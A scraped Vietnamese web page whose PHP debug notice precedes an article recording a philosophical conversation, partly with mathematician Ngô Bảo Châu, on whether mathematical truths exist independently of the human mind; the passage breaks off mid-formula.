Notice (8): Undefined index: name_eng [APP/View/Elements/menu.ctp, line 23]Code Context<div class="accordion-heading"><a class="accordion-toggle" <?php if(!empty($dm_c2)){?>data-toggle="collapse" data-parent="#accordion2" href="#collapse<?php echo $cap1['Catproduct']['id'];?>" title="<?php echo $cap1['Catproduct']['name'.LANGUAGE];?>"<?php }else{?>href="<?php echo DOMAIN.$cap1['Catproduct']['slug'];?>"<?php }?>><?php echo $cap1['Catproduct']['name'.LANGUAGE];?>$viewFile = '/home/quangtayqh/domains/quangtayqht.vn/public_html/app/View/Elements/menu.ctp' $dataForView = array( 'cat12' => array( 'Catproduct' => array( 'id' => '40', 'name' => 'Tin Tức', 'parent_id' => null, 'alias' => 'tin-tuc', 'images' => '', 'lft' => '119', 'rght' => '120', 'pos' => '5', 'status' => '1', 'title_seo' => '', 'meta_key' => '', 'meta_des' => '', 'created' => '2015-12-16', 'modified' => '2019-07-06', 'slug' => 'tin-tuc', 'cate' => '4', 'link' => 'tin-tuc', 'name_eng' => '', 'name_tq' => '', 'type' => 'new', 'hot' => '0', 'content' => '', 'display' => '0', 'content_eng' => null ) ), 'title_for_layout' => 'Sự thật toán học (Theo Sổ tay Thích Học Toán)', 'tinmoiup' => array( (int) 0 => array( 'Post' => array( [maximum depth reached] ), 'Catproduct' => array( [maximum depth reached] ) ), (int) 1 => array( 'Post' => array( [maximum depth reached] ), 'Catproduct' => array( [maximum depth reached] ) ), (int) 2 => array( 'Post' => array( [maximum depth reached] ), 'Catproduct' => array( [maximum depth reached] ) ), (int) 3 => array( 'Post' => array( [maximum depth reached] ), 'Catproduct' => array( [maximum depth reached] ) ), (int) 4 => array( 'Post' => array( [maximum depth reached] ), 'Catproduct' => array( [maximum depth reached] ) ), (int) 5 => array( 'Post' => array( [maximum depth reached] ), 'Catproduct' => array( [maximum depth reached] ) ), (int) 6 => array( 'Post' => array( [maximum depth reached] ), 'Catproduct' => array( [maximum depth reached] ) ), (int) 7 => array( 'Post' => array( [maximum depth reached] ), 'Catproduct' => array( [maximum depth reached] ) ), (int) 8 => array( 'Post' => array( [maximum depth reached] ), 'Catproduct' => array( [maximum depth reached] ) ), (int) 9 => array( 'Post' => array( [maximum depth reached] ), 'Catproduct' => array( [maximum depth reached] ) ) ), 'tinlq' => array( (int) 0 => array( 'Post' => array( [maximum depth reached] ), 'Catproduct' => array( [maximum depth reached] ) ), (int) 1 => array( 'Post' => array( [maximum depth reached] ), 'Catproduct' => array( [maximum depth reached] ) ), (int) 2 => array( 'Post' => array( [maximum depth reached] ), 'Catproduct' => array( [maximum depth reached] ) ), (int) 3 => array( 'Post' => array( [maximum depth reached] ), 'Catproduct' => array( [maximum depth reached] ) ), (int) 4 => array( 'Post' => array( [maximum depth reached] ), 'Catproduct' => array( [maximum depth reached] ) ), (int) 5 => array( 'Post' => array( [maximum depth reached] ), 'Catproduct' => array( [maximum depth reached] ) ), (int) 6 => array( 'Post' => array( [maximum depth reached] ), 'Catproduct' => array( [maximum depth reached] ) ), (int) 7 => array( 'Post' => array( [maximum depth reached] ), 'Catproduct' => array( [maximum depth reached] ) ), (int) 8 => array( 'Post' => array( [maximum depth reached] ), 'Catproduct' => array( [maximum depth reached] ) ), (int) 9 => array( 'Post' => array( [maximum depth reached] ), 'Catproduct' => array( [maximum depth reached] ) ) ), 'detailNews' => array( 'Post' => array( 'id' => '410', 'name' => 'Sự thật toán học (Theo Sổ tay Thích Học Toán)', 'code' => null, 'alias' => 'su-that-toan-hoc-theo-so-tay-thich-hoc-toan', 'cat_id' => '40', 'price' => '0', 'type' => 'new', 'shortdes' => '', 'content' => '<div> Có một kết luận không dễ bắt bẻ là: những sự thật toán học là có thật và tồn tại độc lập với đầu óc con người, trong một thế giới riêng của nó. Chúng có đời sống và những mối liên hệ tự thân mà con người không thể thay đổi được.</div> <div> <br /> <strong>Từ một cuộc gặp</strong><br /> <br /> <img alt="" src="/admin/webroot/upload/image/images/ImageHandlerLarge (2).jpg" style="width: 250px; height: 188px;" /></div> <div> </div> <div> Câu chuyện này bắt đầu từ một buổi gặp mặt và tán gẫu giữa hai người bạn, tuy ở xa nhưng lại gặp nhau trong một quán café ở Hà Nội, về một trong những chủ đề muôn thuở của con người: Triết học. Đó là Hoàng Hồng Minh (Minh) – ở Paris, Pháp và Giáp Văn Dương (Dương)– khi đó mới ở Liverpool, Anh – về chơi. Đến giờ, không ai nhớ được chi tiết cả hai đã nói những gì trong buổi gặp đó. Nhưng có một thứ chắc chắn là anh Minh nói về khái niệm “tha hóa” và cho rằng, việc hiểu “tha hóa” như cách hiểu hiện giờ là không chính xác, còn Dương thì nói về các “dạng thức ” (forms) của Plato trong liên hệ với khái niệm tha hóa mà anh Minh đề cập. Kết thúc buổi trò chuyện, Dương cho rằng, nếu có một nhà toán học nữa tham gia thảo luận thì thật thú vị, vì các hệ thức toán học, có thể coi như một “dạng thức” của Plato.</div> <div> </div> <div> Năm tháng sau, câu chuyện trở lại, với sự tham gia của một nhà toán học, đó là Ngô Bảo Châu (Châu), lúc này đang ở Chicago, Mỹ. Tuy là tán gẫu qua mạng, lại từ ba nước khác nhau và lệch múi giờ nhau hoàn toàn, nhưng vẫn không kém phần thú vị so với những cuộc tán gẫu thực ở ngoài đời, bên ấm trà hay tách café nóng.</div> <div> </div> <div> Chủ đề của cuộc tán gẫu là Sự thật toán học. Cách xưng hô được giữ nguyên như nó vốn có trong giao tiếp hằng ngày, lấy sự thân quen và tuổi tác làm cơ sở.</div> <div> </div> <div> <strong>Dẫn chuyện</strong></div> <div> </div> <div> Galileo – cha đẻ của khoa học hiện đại – cho rằng “Tự nhiên là cuốn sách được viết bởi ngôn ngữ Toán học”. Tất cả những định luật của khoa học tự nhiên đều được phát biểu dưới dạng những biểu diễn toán học như các phương trình, các bất đẳng thức.</div> <div> </div> <div> Tính đúng đắn của các phương trình, rộng hơn là các quan hệ toán học, trong điều kiện biên xác định, được thừa nhận là bất biến. Vì thế, chúng được gọi là những sự thật toán học. Điều này đôi khi dẫn đến ngộ nhận: chân lý khoa học là bất biến vì các sự thật toán học là bất biến.</div> <div> </div> <div> Chính tính bất biến của các sự thật toán học là nền tảng vững chắc cho việc xây dựng tòa lâu đài tri thức của con người về giới tự nhiên. Nếu tính bất biến của các sự thật toán học không còn nữa, thì tòa lâu đài tri thức này không có cách nào đứng vững được.</div> <div> </div> <div> Vì thế, tìm hiểu về bản chất của sự thật toán học chính là tìm hiểu bản chất tri thức của con người.</div> <div> </div> <div> Sự thật toán học chỉ có được khi xuất phát từ những sự thật toán học đã biết hoặc những tiên đề được cho rằng hiển nhiên đúng, thông qua một quá trình suy luận logic chặt chẽ.</div> <div> Sự tiến bộ của Toán học, vì thế trong một chừng mực nào đó có thể nói là chậm hơn so với những tiến bộ mang tính cách mạng của những ngành khoa học khác như Vật lý, Sinh học, Tin học… Nhưng đổi lại, những tri thức mà nó thu được có tính bền vững đến độ vĩnh cửu. Không ai có thể nghi ngờ rằng Định lý Pythagoras lại không đúng trong một triệu năm sau nữa. Còn những lý thuyết của các ngành khoa học khác rất dễ bị thay thế bởi những lý thuyết khác đúng đắn hơn sau đó, có thể trong khoảng thời gian của một đời người hoặc thậm chí chỉ trong vài năm.</div> <div> </div> <div> Đó cũng là một phần của lý do vì sao các nhà toán học thường kiên trì giải những bài toán có khi ra đời từ hàng trăm năm về trước. Khi làm những việc đó, họ biết rằng đó là những vấn đề vĩnh cửu và tri thức họ thu được cũng sẽ là vĩnh cửu.</div> <div> </div> <div> Chính tính vĩnh cửu của những sự thật toán học đã làm cho công việc của các nhà toán học đặc thù hơn so với công việc của các nhà khoa học khác. Họ phải tuân thủ một qui trình suy luận logic nghiêm ngặt, thay vì thiết kế thí nghiệm, quan sát, đo đạc và so sánh kết quả với tính toán như các nhà khoa học khác thường làm.</div> <div> </div> <div> Chỉ những kết quả thu được từ quá trình suy luận logic nghiêm ngặt này mới được coi là sự thật toán học và đúng mãi với thời gian: từ lúc người ta tìm ra chúng và mãi sau này.</div> <div> </div> <div> Nhưng trước khi người ta tìm ra những sự thật toán học này thì sao? Chẳng hạn, trước khi có con người thì định lý Pythagoras có tồn tại không?</div> <div> </div> <div> Dù không có số liệu thông kê chính thức, nhưng rất nhiều nhà toán học tin một phần hoặc toàn bộ vào sự tồn tại của thế giới những sự thật toán học. Để minh họa điều này, hãy xem xét hai ví dụ: Định lý Fermat lớn và Tập hợp Mandelbrot.</div> <div> </div> <div> Định lý Fermat lớn được Fermat (1601-1665) ghi trên lề của một cuốn sách Arithmetica gần 400 năm về trước, đại ý: phương trình xn+yn=zn không có nghiệm nguyên khác không với n>2. Ở bên lề của cuốn sách, ông có ghi thêm rằng: tôi đã tìm ra cách chứng minh rất tuyệt. Nhưng vì lề sách quá hẹp nên không thể viết ra đây! Nhưng phải mất 358 năm, và làm đau đầu biết bao thế hệ toán học tài năng, định lý này mới được chứng minh bởi Wiles, nhà toán học Anh, năm 1994.</div> <div> </div> <div> Vậy trước khi Wiles chứng minh được định lý này, thì nó có đúng không? Thậm chí giả sử Fermat không viết ra lề sách định lý đó, hoặc bản thân Fermat không được sinh ra ở trên đời, thì định lý đó có tồn tại không?</div> <div> </div> <div> Tập hợp Mandelbrot cũng là một minh chứng rõ ràng cho sự tồn tại độc lập của những sự thật toán học. Được phát hiện bởi Mandelbrot năm 1980 nhưng ban đầu bản thân Mandelbrot cũng không ý thức được hết sự phức tạp của nó. Vậy thì, sự tồn tại của nó có phải là độc lập, khách quan với đầu óc con người?</div> <div> </div> <div> Hai ví dụ này, và vô số những ví dụ khác, dẫn đến một kết luận không dễ bắt bẻ là: những sự thật toán học là có thật và tồn tại độc lập với đầu óc con người, trong một thế giới riêng của nó. Chúng có đời sống và những mối liên hệ tự thân mà con người không thể thay đổi được.</div> <div> </div> <div> Nhưng những kí hiệu toán học chỉ được phát minh trong khoảng vài trăm năm trở lại đây, ví dụ dấu bằng (=) không tồn tại trước thế kỉ 16. Vậy là những phương trình toán học như ta vẫn thấy không thể tồn tại trước thế kỉ 16, do đó, sự tồn tại khách quan của thế giới những sự thật toán học như nhiều nhà toán học nhận định là không có thật. Đó cũng là một lập luận không dễ bắt bẻ.</div> <div> </div> <div> <strong>Tán gẫu qua mạng</strong></div> <div> </div> <div> Dương - Như vậy, sự thật toán học liệu có tồn tại độc lập với đầu óc con người?</div> <div> </div> <div> Châu – Câu hỏi mà Dương đặt ra là một câu hỏi dằn vặt nhiều nhà toán học. Làm toán là một quá trình khám phá (discovery) hay là một quá trình sáng tạo (invention)? Phần đông các nhà toán học nghiêng về câu trả lời thứ nhất: làm toán là một quá trình khám phá. Con người không sáng tạo ra sự thật toán học, mà chỉ khám phá ra nó thôi. Tức là cái sự thật đó đã tồn tại ở đâu đó rồi, chỉ đợi con người đến khám phá.</div> <div> </div> <div> Lập luận của phe “khám phá” là dựa vào sự “đồng thuận” cao trong toán học. Một định lý đã được chứng minh thì không thể phủ nhận được nữa. Vì toán học không phụ thuộc vào một cá nhân cụ thể của một nhà toán học nào, nên có nhiều khả năng, nó có sự tồn tại độc lập.</div> <div> Phe “sáng tạo” thì cho rằng toán học cũng chỉ là sản phẩm của bộ não người mà thôi.</div> <div> </div> <div> Phe “ba phải”, trong đó có mình, thì cho rằng (định nghĩa) toán học là công cụ (ngôn ngữ) để bộ não người nắm bắt thế giới bên ngoài một cách có hệ thống. Suy từ định nghĩa ra thì nó không thể tồn tại nếu không tồn tại bộ não người (mệnh đề này là rỗng vì giả thiết sai), nhưng nó lại phải chịu thuộc tính của cái nằm ngoài bộ não người.</div> <div> </div> <div> Nói thế cũng có lý, nhưng người nghe vẫn chưa thấy thích.</div> <div> </div> <div> Thực ra đây vấn chỉ là cách xê dịch vấn đề, và phủ thêm một lớp lý luận. Nhưng nó dẫn dắt ta đến một câu hỏi thực sự thú vị, theo mình thì thú vị hơn câu hỏi “khám phá” hay “sáng tạo”: đó là tại sao toán học lại phát triển phần lớn bởi cái logic nội tai của nó, tại sao nó lại tỏ ra hữu hiệu đến thế trong việc mô tả thiên nhiên. Vậy thì cái logic là cái con người lựa chọn hay là cái bị thiên nhiên áp đặt ?</div> <div> </div> <div> Minh - Đây là câu chuyện rất thú vị trong Triết học, câu chuyện “tri thức khách quan”. Thiền án đặt ra là con nhện cứ tưởng mình dệt lưới theo ý mình thích, hóa ra lại theo “tri thức khách quan”. Con người tưởng nói năng lung tung được, hóa ra lại theo “ngữ pháp”, thực chất là một trong các dạng biểu đạt của cấu trúc logic khách quan?</div> <div> </div> <div> Dương – Em cũng nghiêng về cách nhìn “ba phải”, nên mới có câu hỏi là trước khi các kí hiệu toán học (ngôn ngữ toán học) ra đời thì sao. Có lẽ các sự thật toán học chỉ là các mô hình của thực tại. Nhưng cách thức tồn tại và phát triển của toán học làm người ta nghi ngại nhận định này.</div> <div> </div> <div> Về sự phát triển theo logic nội tại của Toán học, liệu có sự tương đồng với một quá trình tự diễn biến nào trong giới tự nhiên không? Nếu có thì có thể dùng một mô hình Vật lý nào đó để khảo sát? Còn nữa, liệu bản chất của việc tìm kiếm các sự thật toán học có thể giải thích theo kiểu “phép đo” trong cơ học lượng tử?</div> <div> </div> <div> Trong Cơ học lượng tử, trạng thái của một hệ vi mô được mô tả bởi hàm sóng là chồng chập của tất các các trạng thái khả dĩ. Khi phép đo được tiến hành, hệ co về một trạng thái duy nhất ứng với kết quả của phép đo. Điều này liệu có điểm gì tương đồng với các sự thật toán học trong giả thiết sau: trước khi được khám phá ra thì thế giới các sự thật toán học ở trạng thái chồng chập đúng-sai, bất định-xác định… cho đến khi được một nhà toán học tiến hành “đo đạc” bằng cách tiến hành những thao tác suy luận logic để chứng minh hoặc phủ nhận một giả thiết toán học nào đó. Trạng thái của sự thật toán học khi đó sẽ co sập lại về tương ứng với kết quả của chứng minh giống như trạng thái của hệ vi mô co sập lại về tương ứng với phép đo trong cơ học lượng tử? Nói cách khác: chính tư duy của nhà toán học đã tạo ra sự thật toán học, giống như phép đo trong cơ học lượng tử đã tạo ra tính chất của hệ vi mô dưới dạng mô tả được?</div> <div> </div> <div> Như thế, một sự thật toán học được tìm ra cũng giống như kết quả của phép đo: vừa mang tính chủ quan, vừa mang tính khách quan, biểu hiện ở chỗ: sự thật toán học là sản phẩm của quá trình tư duy của nhà toán học, nhưng lại nghiệm đúng một cách khách quan và vĩnh viễn sau khi đã được tìm ra? Câu hỏi còn lại là liệu sự thật toán học có mang tính xác suất – bất định như trong cơ học lượng tử?</div> <div> </div> <div> Và hơn nữa, là vì sao bằng tư duy – “phép đo” của mình – con người lại có thể tìm ra những sự thật toán học này?</div> <div> </div> <div> Em có linh cảm là việc tìm kiếm các sự thật toán học và phép đo trong cơ học lượng tử rất gần nhau. Nhưng chỉ là linh cảm thôi, chưa có bằng chứng gì cả.</div> <div> </div> <div> Còn về câu chuyện “tri thức khách quan”, thì đó không chỉ là tri thức có khách quan, mà còn là bản chất của tri thức, nguồn gốc và mối liên hệ của nó với thực tại. Tất nhiên điều này cũng sẽ dẫn đến câu hỏi thực tại là gì và mối liên hệ của nó với tri thức như thế nào, làm sao mà con người lại có thể nhận thức được chúng, nhận thức đó liệu có khách quan hay hoàn toàn chủ quan hay là hỗn hợp của hai thứ đó.</div> <div> </div> <div> Rõ ràng cuộc đối thoại này đã bước ra khỏi phạm vi của các sự thật toán học và tiến tới một lĩnh vực khác: bản chất của thực tại và mối liên hệ của nó với các biểu diễn toán học. Trước khi những kí hiệu và khái niệm toán học được phát minh ra thì các hệ thức toán học như chúng ta thấy bây giờ không tồn tại, nhưng các mối liên hệ của tự nhiên, như trái đất quay xung quanh mặt trời một vòng hết 365 ngày, vẫn tồn tại dù không được biểu diễn bởi các phương trình. Vấn đề đặt ra – hóc búa– là mối quan hệ của thực tại với các mô hình toán học thực sự là gì?</div> <div> </div> <div> Trong trường hợp này, sự thật toán học được chọn như một ví dụ của tri thức. Ngôn ngữ cũng là một ví dụ tốt để xem xét.</div> <div> </div> <div> Minh - Anh nhìn nhận Logos là cái tính năng tràn khắp vũ trụ, cho nên ta và con mèo hiểu nhau rất dễ, và cái trái cây khi chưa sẵn sàng để phát tán hạt thì vẫn giữ màu lá cây để tự vệ và khuyên nhủ các loài “hãy kệ tôi đã”.</div> <div> </div> <div> Riêng xem trong thế giới thực vật và sinh vật muôn loài, ta đã thấy muôn vàn các quá trình trao đổi thông tin, anh từng đặt chữ là “giao tin”, thực hiện được, vậy là dựa vào đâu? Vào tính logos phổ quát.</div> <div> </div> <div> “Sự thật toán học” được Dương nói đến ở trên đây như những kết quả được xây dựng từ những tiên đề toán học “qua một quá trình suy luận logic chặt chẽ”. Như thế chính ở đây ta thừa nhận hệ thống các thuộc tính-quan hệ logic như một hệ thống công cụ có tính tiền đề. </div> <div> </div> <div> “Sự thật logic” như vậy còn tồn tại “trước” cả “sự thật toán học”. “Trước” không phải về không gian, thời gian vật lý, mà về mặt.. logic!</div> <div> </div> <div> Chuyện vui, nếu nhà toán học lạc vào trong rừng mà gặp phải con hổ, con hổ sẽ hiểu nhà toán học hơn cả nhà toán học hiểu chính mình trong địa hạt này… Con hổ sẽ lừa cho nhà toán học toát mồ hôi, toát ngu muội, và nhà toán học chỉ còn biết trông chờ vào may mắn! Tại sao? Vì cả hai cùng với giới tự nhiên đều cùng chia sẻ cái logos phổ quát về không gian, thời gian, về nhân quả, về luận lý, và cả về tâm lý! Và con hổ thì hiểu logos của thánh địa của nó hơn nhà toán học, hiểu cả rằng nó nhanh nhẹn, mạnh mẽ, và khôn ngoan trong săn bắt hơn chính nhà toán học!</div> <div> </div> <div> Ý niệm về “Đạo” của Lão, Trang có gần gũi với Logos. Nhưng yếu kém của “Đạo” là chưa ý thức được cái năng lực siêu phàm trong cái thần của Logos, là dạng thức (forms) – ở ta hay dịch là “hình thức”, cái chữ dễ bị hiểu nhầm nôm na thành như “bề ngoài”. Nhờ hiểu biết về tầm quan trọng vô cùng của dạng thức mà các hiểu biết về logic và toán học phát triển được lên.</div> <div> </div> <div> Nghiên cứu về logic, theo mình thì không có cái gọi là môn “logic nội dung” chọi với “logic hình thức”! Đó chỉ là sự diễn nôm hời hợt. Chỉ có một môn logic, và đó chính là logic dạng thức. Các bộ môn nghiên cứu ứng dụng logic không phải là “logic khác”, mà là các nghiên cứu ứng dụng logic mở ra trong các miền tri thức, các ứng dụng này không phải là các lựa chọn khả thay thế. Ví dụ như “modal logic” là môn nghiên cứu ứng dụng về tình thái ngữ nghĩa trong ngôn ngữ…</div> <div> </div> <div> Phát hiện về dạng thức là nền tảng cho sự phát triển có tính xây dựng được của nền văn minh tinh thần! Khi bạn đang đọc bài trao đổi này, bạn không “đọc” một cuộc thảo luận nguyên trạng, mà đọc cái đã dạng thức hóa của nó qua các “nguyên tử” ký tự (chữ cái, gồm cả các dấu nghỉ, cảm thán, khoảng trắng, cùng “dấu xuống dòng”, dấu chuyển hồi đoạn, dấu chấm hết … gọi chúng là “nguyên tử” vì các nhân tố này là nhỏ nhất trong hệ thống, không còn chẻ ra tiếp được nữa) đã được cấu trúc hóa theo các qui tắc ngữ pháp. Nói theo logic, các ký tự hợp thành hệ thống các ký hiệu, và việc áp dụng hệ các qui tắc nối kết vào các ký hiệu làm nên các công thức (từ, liên từ, đoạn, câu…), chúng được cắt nghĩa và vận động trong một hệ thống luận suy. Xa xôi hơn, bạn đang đọc được một dãy mã hóa “sắc không”, “âm dương”, “0 và 1”, được đại diện bởi các xung điện. Và cuối cùng, chính bạn phải làm cả một cuộc cắt nghĩa toàn bộ dãy mã này trong văn hóa khoa học tiếng Việt để “cảm hiểu” bài trao đổi.</div> <div> </div> <div> Cũng cần nói rõ là cái ý niệm “sắc không”, “âm dương” trong triết học cổ phương Đông chỉ là một khởi điểm của ý tưởng về các đối cực, chứ không hề liên quan gì đến việc phát triển của khoa máy tính sau này. Vì để có ý tưởng mã hóa tất thảy các hiện tượng chỉ từ hai trạng thái để lợi dụng được các xung điện, phải hiểu ra và phát triển được cái logos “dạng thức”, phát triển logic, toán học để xây dựng nên được ngôn ngữ dạng thức và hệ thống các thuật toán, để rồi có thể công nghệ hóa, tự động hóa chúng. Dãy các trạng thái “0 và 1” còn phải chứa hệ thống các cấu trúc để cho phép gắn kết chúng như thế nào trong quá trình vào mã và giải mã các thông tin. Các nhà Đông học tuyệt đối không có gì để vơ quàng sĩ diện ở đây.</div> <div> Cái tiếp theo của câu chuyện nói ở trên là cái nhìn triết học về “khách quan- chủ quan”, “vật chất- tinh thần”.</div> <div> </div> <div> Ở ta lâu nay người ta nhìn vấn đề này không theo tầng tinh thần triết học, mà theo cảm hứng dân dã, “lập trường”. Nên nhìn nhận rất chân thành rằng ở ta không có căn bản truyền thống về tinh thần văn hóa triết học – logic.</div> <div> </div> <div> Câu chuyện vật chất – tinh thần, cái nào “có trước”, cần nói rõ là “có trước về mặt triết học-logic”, là vấn đề lựa chọn.</div> <div> </div> <div> Ví dụ khi bạn chấp nhận “vật chất có trước tinh thần”, bạn dùng cái gì để “xác nhận” nó ? Bạn dùng chính tinh thần bạn!</div> <div> </div> <div> Nếu bạn không dùng tinh thần của bạn để công nhận “vật chất có trước tinh thần”, thì bạn quả là siêu nhiên! Bạn lại dùng “tinh thần vũ trụ” chăng?</div> <div> </div> <div> Như vậy sự công nhận về sự tồn tại của thế giới bên ngoài, “có trước”, độc lập với tinh thần con người, là vấn đề phương pháp, vấn đề lựa chọn tiên đề, chứ không có và không thể có vấn đề “đúng sai” theo nghĩa triết học ở đây.</div> <div> </div> <div> Cái rắc rối tiếp theo là liệu có một cái “logos phổ quát bên ngoài tinh thần con người” hay không?</div> <div> </div> <div> Cái này cũng thuộc về tiên đề triết học nốt. Phải lựa chọn.</div> <div> </div> <div> Và nếu bạn muốn hiểu “sự thật logic”, “sự thật toán học” như một “tri thức khách quan” thì đó cũng là một lựa chọn.</div> <div> </div> <div> Tri thức tiến lên nhiều khi không phải chỉ do “lập luận thông minh đơn thuần”. Lập luận không làm tiến hóa hệ thống. Lập luận chỉ củng cố hoặc mở rộng hệ thống, nếu hệ thống tỏ ra vẫn chuẩn xác (chưa bị rơi vào tự mâu thuẫn), hoặc ngược lại làm nó lụi tàn, nếu hệ thống không chịu nổi các thử thách về logic. Tri thức tiến lên còn do sự quyết đoán lựa chọn, tiêu biểu là việc lựa chọn các tiên đề. Người biết lựa chọn các tiên đề tất nhiên không phải người tầm thường. Sự lựa chọn là một cách mở rộng hoặc đổi thay hệ thống với những rủi ro và đột biến tiến hóa.</div> <div> </div> <div> Einstein đã lựa chọn tiên đề tốc độ ánh sáng là tốc độ cực đại trong vũ trụ chẳng hạn, điều vượt quá đa phần các bộ óc con người (trong đó tất nhiên có mình ! ;-) ).</div> <div> </div> <div> Sự lựa chọn việc tồn tại “logos khách quan” cũng có những cơ sở của nó. Giản đơn nếu như nhà toán học mà quên cho con mèo ăn, thì con mèo sẽ biết làm cho nhà toán học phải hiểu ra bằng được điều đó và cho nó ăn mà thôi.</div> <div> </div> <div> Lựa chọn sự tồn tại “tri thức khách quan” không có nghĩa là bạn đã có nó! Mà bạn hy vọng có thể phát hiện ra nó, đạt được nó như những tri thức cơ sở. Hơn thế nữa, từ những tri thức cơ sở đó bạn có thể xây dựng những tri thức mới trong khi tuân thủ những “tri thức khách quan về logic” – những tri thức chưa bị bác bỏ được. Nhìn chung tri thức luôn có cả hai mặt phát hiện và sáng chế. Như cái công nghệ thông tin phục vụ bạn đây là thuộc về sáng chế, có thế ta mới xem được những bức ảnh chụp bề mặt sao Hỏa rõ mồn một.</div> <div> </div> <div> Tất nhiên bạn có thể chọn tiên đề “không có tri thức khách quan”.</div> <div> </div> <div> Lựa chọn chỉ là phương pháp. Bạn “tự do” trong lựa chọn. Vấn đề là sự lựa chọn đó đưa bạn đi đến đâu, bạn phải đảm trách sự lựa chọn của mình. Cho nên ý thức triết học nhắn ta phải luôn luôn sẵn sàng nhìn lại những tiên đề của mình.</div> <div> </div> <div> Tam giác triết học – logic – toán học thật hấp dẫn và trong tầng sâu thẳm chúng trộn vào nhau. Hãy xem vài trường hợp sau:</div> <div> </div> <div> Lý thuyết tập hợp hình thành là một sự cộng sinh tuyệt đẹp của triết học, logic và toán học.</div> <div> </div> <div> Tỉ như dãy số tự nhiên 0,1,2…n… thực ra không hề “tự nhiên”, mà lần đầu tiên được xây dựng và cắt nghĩa hoàn chỉnh qua các khái niệm triết học-logic-toán học trong lý thuyết tập hợp.</div> <div> </div> <div> Tập rỗng là tập không chứa phần tử nào, ký hiệu “tập 0”. Đây là một tiên đề có tính triết học về mối tương sinh của tồn tại-hư vô, về “khởi thủy”. Không thể tranh luận gì được ở đây.</div> <div> </div> <div> Tập chứa đơn thuần tập rỗng, kí hiệu “tập 1”.</div> <div> </div> <div> Tập chứa “tập 0” và “tập 1”, ký hiệu “tập 2”, v.v.</div> <div> </div> <div> Và như thế ta có một dãy trật tự hóa, mỗi yếu tố trong dãy này là một tập hợp mà các phần tử của mình chính là tất cả các yếu tố- tập hợp đứng trước nó.</div> <div> </div> <div> Vui chuyện, ta có thể tự an ủi rằng cái ý thức của cá nhân mình khi chưa hình thành thì là một tập rỗng. Dần dà nó phát triển lên thật phong phú. Còn khi ta ra đi, ý thức của ta lại trở về là tập rỗng.</div> <div> </div> <div> Hay lấy một ví dụ khác, một quan hệ logic thuần, đơn giản hóa.</div> <div> </div> <div> Cho A, B, C,…Z là những thành tố của một tập hợp “đồng chất” (cùng một lĩnh vực).</div> <div> </div> <div> “Tính bắc cầu” là một quan hệ logic, ký hiệu R, được hiểu: R(A, B) & R(B, C) à R(A, C). Nghĩa là nếu quan hệ bắc cầu tồn tại giữa A và B, và nếu quan hệ bắc cầu đó cũng tồn tại giữa B và C thì ta có quan hệ bắc cầu này giữa A và C.</div> <div> </div> <div> Bây giờ nếu ta có thêm R(C, D) thì ta sẽ có R(A, D), vì ở trên ta đã có R(A,C). Phép chứng minh là một phép co rút hay quy giản tìm được khi áp dụng liên tục các quy tắc suy luận xác thực trên dãy các tiên đề và công thức đã được chứng minh: R(A, B) & R(B, C) à R(A, C); R(A, C) & R(C,D) à R(A, D).</div> <div> </div> <div> Vậy khi phải tính toán, nếu có R(A,B) & R(B,C) & R(C,D) & … & R(Y,Z) thì R(A,Z) có tồn tại hay không, công việc logic này đã thành công việc của toán học. Để gửi cái e-mail từ Chử Đồng Tử tới Tiên Dung, tri thức logic-toán học đã khách quan hóa trong các phần mềm ở các máy chủ sẽ tính xem gửi các gói thông tin này qua các nút máy nào để tính bắc cầu được thực hiện hiệu quả nhất.</div> <div> </div> <div> Và ở chỗ này, bằng chứng của sự lựa chọn “tri thức khách quan” là sức mạnh hiển nhiên: tri thức logic-toán học ở con người đã được chuyển ra ngoài, đây chính là nội dung của khái niệm “tha hóa” mà mình đã từng nói tới, chuyển thành “tri thức khách quan”, hoạt động tự động trong các máy tính! Đó chính là giá trị của sự lựa chọn triết học! Ngày mai bạn có thể được phẫu thuật bằng máy móc điều khiển do một bác sĩ ở phần bên kia địa cầu thông qua internet, và bạn đành phải tin vào tri thức khách quan nằm giữa bạn và ông bác sĩ!</div> <div> </div> <div> Cũng từ đây cho ta thấy cải cách và tiến bộ xã hội là có thể, vì tri thức, trong đó có các lý tưởng nhân văn xác quyết, có thể dần chuyển được ra “xã hội bên ngoài”, làm nên nền văn minh. Và kết thúc được cái xã hội chủ quan luẩn quẩn “con rắn cắn đuôi”, mãi mãi làm lại từ đầu!</div> <div> </div> <div> “Sự thật” hay “chân lý” về mặt triết học-logic là như sau: một biểu đạt, một hệ thống các biểu đạt (hay công thức), rộng nữa là một lý thuyết, có thỏa mãn bảng giá trị chân lý hay không.</div> <div> </div> <div> Nhưng bản thân cái bảng giá trị này, sâu xa về triết học-logic, thì lại không liên quan gì đến chân lý! Nó có đó do sự lựa chọn. Giống như các tiên đề vậy. Như thế chính triết học luôn cảnh tỉnh ta về sự lựa chọn của mình, thay vì băn khoăn và mắc tóc trong chính sự không ý thức về những lựa chọn đã được thực hiện.</div> <div> </div> <div> Về văn hóa thì chuyện này lại càng thú vị nữa. Con người lớn lên và được tắm trong cả “một biển các giá trị chân lý mẹ truyền”! Không có tư duy triết học, con người loay hoay mắc tóc trong đó đời này sang đời khác, đặt những câu hỏi không vào sâu được hơn cái lớp bao bì chân lý mẹ truyền này, và như ta thường hay thấy, người ta tấm tắc “các cụ nói cấm câu nào sai”! Nếu bạn để ý một chút thôi, thì cái biển chân lý này bao giờ cũng chứa tất cả các mệnh đề trái ngược nhau, tỉ như “một giọt máu đào, hơn một ao nước lã” chọi với “bán anh em xa, mua láng giềng gần”. Các lý thuyết cai trị cổ hủ cũng thường rơi vào tình huống này, do vừa cố mở rộng độ biên của ứng dụng, vì đời sống phong phú lên, lại vừa cố bảo trì các tiền đề cũ kĩ. Một cộng đồng muốn tiến lên, phải làm một cuộc tổng kiểm kê về cái bảng các giá trị này, để mà mình ý thức về chúng, để mà mình sẵn sàng được cảnh tỉnh về chúng, để mà mình có thể thay đổi chúng. Việc này không hề dễ tí nào, tương tự như việc quả táo rơi xuống đất tưởng đã hiển nhiên là chân lý, mà hóa ra lại chỉ là một nửa chân lý như Newton đã nhìn ra!</div> <div> </div> <div> Trong tương quan với các lĩnh vực cụ thể, các quan hệ logic như thế nằm ở tầm “cao hơn chân lý”, “trước chân lý” của những lĩnh vực đó… luôn luôn về mặt logic thôi. Về hình ảnh các quan hệ logic đã dạng thức hóa này tồn tại “trước” khi bị “nhúng vào” trong “các trường nhất định”, “các cư dân nhất định”. Ta tạm gọi các quan hệ này «ở ngoài vật thể” hay “trước vật thể”, chú ý, theo nghĩa… logic!</div> <div> </div> <div> Ví dụ quan hệ logic bắc cầu đã nói trên kia R: R(A, 